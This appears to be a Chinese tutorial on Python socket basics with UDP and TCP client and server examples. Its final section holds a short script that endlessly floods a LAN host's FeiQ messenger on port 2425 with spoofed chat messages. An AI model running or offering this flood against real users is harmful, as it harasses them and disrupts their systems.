爬虫阶段网页和网络基本知识

##python实现UDP和TCP

###实现udp服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#udp服务端
import socket
#创建套接字
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
#绑定ip和端口号
sock.bind(('localhost',2222))
#接受消息
data,addr = sock.recvfrom(1024)#元组解包
print(addr)
print(data.decode('utf-8'))
#返回消息
sock.sendto('ok'.encode('utf-8'),addr)
#关闭套接字
sock.close()

###实现UDP客户端

1
2
3
4
5
6
7
8
# #udp客户端
import socket
# #创建套接字对象
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
#发送消息
sock.sendto('666'.encode('utf-8'),('localhost',2222))
data,addr = sock.recvfrom(1024)
print(data.decode('utf-8'))

###实现TCP客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
#tcp客户端
import socket
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#建立连接
sock.connect(('localhost',6666))
#发送数据
while True:
mes = input('我:')
sock.send(mes.encode('utf-8'))
res = sock.recv(1024)
print('对方:',res.decode('utf-8'))
#关闭套接字
# sock.close()

###实现TCP服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#tcp协议服务端
import socket
#创建套接字对象
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#绑定ip和端口
sock.bind(('localhost',6666))
#设置最大监听数
sock.listen(4)
#接收数据
# with open('2','r',encoding='utf-8') as l:
so,addre = sock.accept()
while True:
# d = l.readline()
data = so.recv(1024)
print('对方:',data.decode('utf-8'))
d = input('我:')
so.send(d.encode('utf-8'))
#关闭套接字
# so.close()
# sock.close()

###实现socket轰炸飞秋

1
2
3
4
5
6
7
8
9
10
11
12
import socket
#利用socket模块生成套接字
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
#定义一个元组,包含ip地址,和端口号,ip地址必须为字符串,端口号为
#数字 飞秋的默认端口为2425
add = (('192.168.151.95',2425))
while True: #设置无线循环
#定义字符串 其中1表示版本525表示包号 这里可以自由设置 王五表示昵称
#和主机名 32表示发送消息 我无敌是发送的内容 这个是固定的格式
a = "1:525:王振伦:王振伦:32:我无敌"
#完成发送
s.sendto(a.encode("gbk"),add)

虫阶段前端和网络知

思维导图地址:https://www.processon.com/view/link/5cd7ccd9e4b0406c6414deb4